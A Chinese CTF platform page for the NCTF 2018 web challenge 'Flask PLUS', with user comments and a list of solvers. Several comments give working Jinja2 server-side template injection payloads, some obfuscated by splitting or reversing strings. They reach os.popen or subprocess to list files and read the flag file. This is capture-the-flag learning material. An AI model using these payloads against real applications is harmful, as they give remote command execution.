Flask PLUSWEB 未解决

分数: 0 金币: 0
所属赛事: NCTF 2018
题目作者: 未知
一  血: harry
一血奖励: 0金币
解  决: 96
提  示:
描  述:
yulige你又写bug了!
评论
zrlht 1月前

搞半天是在url后面写表达式

回复 0

不会编程的崽 12月前

%7B%7B''['__cl'+'ass__']['__ba'+'ses__'][0]['__subc'+'lasses__']()[218]['__in'+'it__']['__glo'+'bals__']['__bu'+'iltins__']['__imp'+'ort__']('o''s')['po''pen']('cat%20/Th1s_is__F1114g').read()%7D%7D

回复 0

minhaf 1年前

{{''["__ssalc__"[::-1]]["__esab__"[::-1]]["__sessalcbus__"[::-1]]()[223]('cat /Th1s_is__F1114g',shell=True,stdout=-1).communicate()[0].strip()}}

回复 0

希卡利 1年前

ssti模板注入,先试试{{7*7}},输出49就是有,再输入{{lipsum.__globals__['o''s']['pop''en']('ls /').read()}}就看到flag了

回复 0

2728462336 2年前

简单的SSTI模板注入

回复 0

WriteUp

image
sean

2 金币

评分(0)

暂无评分

解题动态

bugbiubiubiu 攻破了该题 9天前
Dxmax 攻破了该题 14天前
风花雪月 攻破了该题 16天前
hell0-hnc 攻破了该题 18天前
捡尽南枝 攻破了该题 1月前
mechatengo 攻破了该题 1月前
zant 攻破了该题 1月前
pinus 攻破了该题 1月前
zrlht 攻破了该题 1月前
xiaodou 攻破了该题 1月前
i8vkmmju 攻破了该题 1月前
Zengan 攻破了该题 1月前
jibabenba 攻破了该题 1月前
caixinggang 攻破了该题 1月前
hdcc1 攻破了该题 1月前
vx606v 攻破了该题 2月前
孙笑川ᒿ58 攻破了该题 2月前
zhatao 攻破了该题 3月前
xyjwkg 攻破了该题 5月前
HamiLemon 攻破了该题 5月前
问题反馈